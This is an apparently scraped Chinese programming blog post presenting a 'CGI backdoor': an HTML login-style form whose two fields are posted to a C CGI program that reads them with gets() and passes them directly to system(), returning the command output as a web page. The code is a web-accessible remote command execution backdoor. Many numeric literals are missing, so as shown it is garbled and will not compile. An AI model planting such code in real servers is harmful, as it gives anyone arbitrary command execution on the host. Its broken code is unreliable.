服务器开发之CGI后门

1.html代码

<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>

2.C代码

#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB" void main123()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1 != NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); char *p2 = strchr(p1 + , '&');
if (*p2!=NULL)
{
*p2 = '\0';
}
printf("<br>%s", p1+); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
char filename[] = { };
sprintf(filename, "%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch == '\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main3()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1!=NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s >%d.txt", szpost + ,num);
char filename[] = { };
sprintf(filename,"%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch=='\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main2()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); } //重定向输出
//输入
void main()
{
printf("Content-type:text/html\n\n");//换行
for (int i = ; i < ; i++)
{
//printf("锄禾日当午\n");
printf("锄禾日当午<br>");
} }
上一篇:集合 数组 定义 转换 遍历 Arrays API MD


下一篇:java中一维数组的定义和遍历